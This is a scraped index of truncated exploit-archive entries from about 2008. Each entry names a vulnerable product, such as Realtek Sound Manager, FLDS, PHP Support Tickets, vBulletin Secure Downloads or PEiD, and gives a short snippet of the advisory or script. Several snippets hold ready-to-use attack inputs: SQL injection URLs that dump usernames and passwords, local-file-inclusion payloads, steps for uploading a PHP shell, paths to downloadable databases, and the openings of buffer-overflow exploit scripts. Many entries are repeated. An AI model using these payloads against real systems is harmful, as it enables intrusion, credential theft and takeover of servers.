Realtek Sound Manager (rtlrack.exe 1.15.0.0) - Playlist Buffer Overflow

usage: exploit.py print "--------------------------------------------------------------------------" print " Realtek Sound Manager rtlrack.exe v. 1.15.0.0 PlayList Buffer Overflow\n" print " url: http://www.realtek.com.tw/\n" print " download: ftp://152.104.238.19/pc/audio/APA406.exe" print "...

ASPired2Quote (quote.mdb) Remote Database Disclosure Vulnerability

No description provided by source. --------------------------------------------------------- Portal Name: ASPired2Quote Vendor : http://thenetguys.us/Home/Quote.asp Author : PouyaServer , [email protected] Vulnerability : DD --------------------------------------------------------- DD:...

CodeAvalanche Directory (CADirectory.mdb) Database Disclosure Vuln

No description provided by source. --------------------------------------------------------- Portal Name: CADirectory Download : http://www.truecontent.info/codeavalanche/asp-directory-script.php Author : PouyaServer , [email protected] Vulnerability : DD...

FLDS 1.2a - lpro.php SQL Injection

FLDS 1.2a - lpro.php SQL Injection Free Links Directory Script id SQL Injection Vulnerability Author: nuclear site: http://flds-script.com vuln: http://localhost/path/lpro.php?id=-1 UNION SELECT 1,concatusername,0x3a,password,3,4,5,6,7,8,9,10,11 from users demo:...

PHP Weather 2.2.2 (LFI/XSS) Multiple Remote Vulnerabilities

No description provided by source. Lfi/xss script: phpweather-2.2.2 download from:http://downloads.sourceforge.net/phpweather/phpweather-2.2.2.zip?modtime=1087430400&bigmirror=0 vul: /test.php line 48: requirePHPWEATHERBASEDIR . "/output/pwtext$language.php"; xpl:...

FLDS 1.2a - 'lpro.php' SQL Injection

Free Links Directory Script id SQL Injection Vulnerability Author: nuclear site: http://flds-script.com vuln: http://localhost/path/lpro.php?id=-1 UNION SELECT 1,concatusername,0x3a,password,3,4,5,6,7,8,9,10,11 from users demo:...

AvailScript Article Script - Arbitrary File Upload

AvailScript Article Script - Arbitrary File Upload Availscript Article Script Remote File Upload Vulnerability ---------------------------------------------------------- Discovered By: S.W.A.T. [email protected] Home: www.batlagh.com Script Page: http://www.availscript.com/articlescript.php...

ASPired2Quote (quote.mdb) Remote Database Disclosure Vulnerability

Exploit for unknown platform in category web applications ================================================================== ASPired2Quote quote.mdb Remote Database Disclosure Vulnerability ==================================================================...

AvailScript Article Script - Arbitrary File Upload

Availscript Article Script Remote File Upload Vulnerability ---------------------------------------------------------- Discovered By: S.W.A.T. [email protected] Home: www.batlagh.com Script Page: http://www.availscript.com/articlescript.php...

PHP Support Tickets 2.2 File Upload

remote file upload script: PHPSupportTicketsv2.2 download from:http://www.phpsupporttickets.com/modules/phpsupporttickets.com/dist/free/PHPSupportTicketsv2.2.zip 1:www.site.com/path/index.php?page=register 2:New Ticket 3:upload php file shell www.site.com/path/upload/you...

PHP Support Tickets 2.2 - Arbitrary File Upload

remote file upload script: PHPSupportTicketsv2.2 download from:http://www.phpsupporttickets.com/modules/phpsupporttickets.com/dist/free/PHPSupportTicketsv2.2.zip 1:www.site.com/path/index.php?page=register 2:New Ticket 3:upload php file shell www.site.com/path/upload/you...

HTMPL 1.11 (htmpl_admin.cgi help) Command Execution Vulnerability

Exploit for cgi platform in category web applications ================================================================= HTMPL 1.11 htmpladmin.cgi help Command Execution Vulnerability ================================================================= Software : HTMPL v1.11 Download Link :...

PHP Multiple Newsletters 2.7 (LFI/XSS) Multiple Vulnerabilities

No description provided by source. Lfi/xss script: PHPMultipleNewsletters v2.7 download from:http://www.phpmultiplenewsletters.com/modules/phpmultiplenewsletters.com/dist/free/PHPMultipleNewslettersv2.7.zip vul:/index.php line 36: include 'language/'..$REQUEST'lang'.'.php'; xpl:...

PHP Multiple Newsletters 2.7 LFI / XSS

Lfi/xss script: PHPMultipleNewsletters v2.7 download from:http://www.phpmultiplenewsletters.com/modules/phpmultiplenewsletters.com/dist/free/PHPMultipleNewslettersv2.7.zip vul:/index.php line 36: include 'language/'..$REQUEST'lang'.'.php'; xpl: www.site.com/path/index.php?lang=Lfi%00 xss:...

PHP Multiple Newsletters 2.7 - Local File Inclusion Cross-Site Scripting

PHP Multiple Newsletters 2.7 - Local File Inclusion Cross-Site Scripting Lfi/xss script: PHPMultipleNewsletters v2.7 download from:http://www.phpmultiplenewsletters.com/modules/phpmultiplenewsletters.com/dist/free/PHPMultipleNewslettersv2.7.zip vul:/index.php line 36: include...

DesignWorks Professional 4.3.1 Local .CCT File Stack BOF PoC

No description provided by source. + Application : DesignWorks Professional 4.3.1 + Application's Description : " DesignWorks Professional Schematic Capture for Windows...,Google-it. + Bug : Local .CCT File Stack Buffer Overflow PoC + Author : Cn4phux import sys import os print "x Local Stack...

vBulletin Secure Downloads 2.0.0r - SQL Injection

vBulletin Mode Secure Downloads v2.0.0r SQL Injection Vulnerability Mod : http://www.1src.com/freeware/download.php?id=1880 Author : Cn4phux PoC : URL.com/fileinfo.php?id=SQL : 1797'+AND0+UNION+SELECT+1,1,1,1,1,'Cn4phux',0,0,0,1,0,1,0,0,0,0,0,USER,DATABASE,0,0,0,0,0,0,0+OR+'1'='0 //Cn4phux...

PEiD 0.92 - .PE File Universal Buffer Overflow

PEiD 0.92 - .PE File Universal Buffer Overflow !/usr/bin/perl PEiD = 0.92 Buffer Overflow Universal Exploit Exploit by SkD [email protected] ---------------------------------------------- An old vulnerability but no existing exploit for it, so here it is. Of course, I had to make it universal...

Tizag Countdown Creator 3 - Insecure Upload

Tizag Countdown Creator 3 - Insecure Upload remote file upload script: tizag-countdownVersion3 download from:http://www.tizag.com/downloads/tizag-countdownVersion3.zip www.site.com/path/index.php upload file.php shell= www.site.com/path/pics/file.php Author: ahmadbady my mail:...

Cold BBS (cforum.mdb) Remote Database Disclosure Vulnerability

No description provided by source. Database Disclosure Vulnerability script: Cold BBS download from:http://www.peachydandy.com/scripts/download.php?go=2&file=4&mirror=7 www.site.com/path/db/cforum.mdb Author: ahmadbady my mail: [email protected] milw0rm.com 2008-12-05...